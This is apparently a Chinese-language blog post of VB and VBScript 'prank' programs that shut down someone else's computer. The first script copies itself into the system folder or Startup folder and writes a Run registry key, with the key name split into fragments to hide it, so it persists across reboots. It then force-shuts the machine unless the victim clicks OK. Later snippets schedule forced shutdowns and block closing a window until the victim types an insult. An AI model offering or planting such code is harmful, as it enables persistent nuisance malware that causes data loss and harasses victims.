VB關機惡搞小程序一:
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")else
On Error Resume Next
strr=""Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:請不要隨便動我的電腦! " & Chr(13) & Chr(10) & "確定->下次一定會先征求同意的" & Chr(10) & "取消->愛咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")If r = 1 Thenif s="Startup" thenset f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" thenWll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()end if
Else
wll.run "Shutdown.exe -s -f -t 0"End Ifend sub
上面的有點復雜,那就來個稍微簡單的
代碼如下:
Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As Long
Private Sub Form_Load()
Call ExitWindowsEx(EWX_SHUTDOWN, 0)End Sub
當你可以采用一個更加簡單的寫法
直接輸入以下代碼即可:
Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem 後面的 -t 0 表示0秒關機,如果去掉 -t 0 那麼默認是30秒關機End Sub
方法三:
Private Sub Command1_Click()If Text1 = "我是豬" ThenShell "cmd.exe /c shutdown -a"MsgBox "哈哈放過你吧!", 64, "提示"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "哈哈你中招了、快說你是豬,否則1分鐘就讓你電腦關機", 48, "提示"Shell "cmd.exe /c shutdown -s -t " & 60, vbHide
End SubPrivate Sub Form_Unload(Cancel As Integer)
g = MsgBox("想關掉我???", vbOKCancel + vbQuestion, "關閉窗口")If g = vbOK ThenCancel = 11MsgBox "哈哈你關不掉我的快說我是豬吧", 64, "提示"End IfIf g = 2 ThenCancel = 11End IfEnd Sub